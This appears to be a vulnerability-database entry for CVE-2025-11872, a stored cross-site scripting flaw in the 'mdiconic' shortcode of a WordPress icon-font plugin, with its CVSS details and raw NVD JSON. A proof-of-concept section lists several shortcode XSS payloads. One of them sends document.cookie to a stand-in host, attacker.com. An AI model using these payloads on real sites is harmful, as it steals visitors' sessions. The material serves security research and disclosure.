Security Vulnerability Report
中文
CVE-2025-11872 CVSS 6.4 MEDIUM

CVE-2025-11872

Published: 2025-10-22 09:15:35
Last Modified: 2026-04-15 00:35:42

Description

The Material Design Iconic Font Integration plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'mdiconic' shortcode in all versions up to, and including, 2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Material Design Iconic Font Integration插件 所有版本 <= 2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-11872 Stored XSS via 'mdiconic' shortcode in Material Design Iconic Font Integration plugin Requires: Contributor-level WordPress account or above --> <!-- Step 1: Login to WordPress as a Contributor or higher --> <!-- Step 2: Create a new Post or Page --> <!-- Step 3: Insert the following malicious shortcode in the content editor --> [mdiconic icon="fa-home" color="' onmouseover='alert(document.cookie)"] <!-- Alternative payloads --> <!-- Payload 1: Using onerror event handler --> [mdiconic icon='" onerror="alert(1)'"] <!-- Payload 2: Using onclick event handler --> [mdiconic icon="test" size='" onclick="alert("XSS")"'] <!-- Payload 3: Breaking out of attribute context --> [mdiconic icon="><script>alert('XSS-CVE-2025-11872')</script>"] <!-- Step 4: Publish the post/page --> <!-- Step 5: When any user visits the published page, the malicious JavaScript executes in their browser --> <!-- Full exploit example using HTML/JS for understanding --> <script> // Simulated exploit flow: // 1. Attacker authenticates with contributor credentials // 2. Attacker submits post with payload via WordPress REST API or admin panel // 3. Payload gets stored in wp_posts table without sanitization // 4. When victim loads the page, shortcode renders unsanitized HTML // 5. Malicious script executes in victim's browser context var exploitPayload = '[mdiconic icon="fa-home" color="\' onmouseover=\'fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)\'"]'; console.log("XSS Payload:", exploitPayload); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11872", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:35.490", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Material Design Iconic Font Integration plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'mdiconic' shortcode in all versions up to, and including, 2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/material-design-iconic-font-integration/tags/2/md-iconic-font-integration.php#L46", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/06c1dc58-483e-49f7-aff0-e5a1e70bb149?source=cve", "source": "[email protected]"}]}}